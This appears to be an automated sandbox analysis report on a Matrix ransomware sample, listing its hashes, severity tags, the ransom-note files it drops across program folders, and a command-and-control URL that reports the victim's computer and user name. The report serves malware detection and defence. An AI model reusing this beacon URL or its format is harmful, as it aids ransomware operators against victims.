matrix | f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770 | Triage

Analysis

max time kernel
129s
max time network
121s
platform
windows7_x64
resource
win7v200722
submitted
08-10-2020 15:06

Sharing

Report Analysis Logs

General

Target

f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
Size

575KB
MD5

25584c202327f5c5bba3e2cf6fce6e80
SHA1

cc8fa8e61ce0253fe9ac9efb19718d54774d8ab8
SHA256

f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770
SHA512

f5c1a1a85d84d4c2824717af21e9bf34c1dac7612bba3be73df065eb17793fb670c2718349e325984e5b0946524821fa1cbf5f1b3eb740bcb22952e408b1fab5

Score

10^/10

matrix discovery evasion persistence ransomware spyware upx

Malware Config

Signatures

Matrix Ransomware 64 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe

description	flow	ioc	Process
File created		C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#SNTG_README#.rtf	f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
File created		C:\Users\Admin\#SNTG_README#.rtf	f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
File created		C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\#SNTG_README#.rtf	f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
File created		C:\Program Files\#SNTG_README#.rtf	f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
File created		C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#SNTG_README#.rtf	f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
File created		C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\#SNTG_README#.rtf	f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
File created		C:\Users\Public\Videos\#SNTG_README#.rtf	f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
File created		C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#SNTG_README#.rtf	f5f038ae1208d34ee10c56c10fe2b9aa3b1d98892d92ce2a783490df72298770.exe
HTTP URL	2	http://gmn.timerz.org/addrecord.php?apikey=santa_api_key&compuser=UCQFZDUI\|Admin&sid=h5buNUVEF45SoMWr&phase=START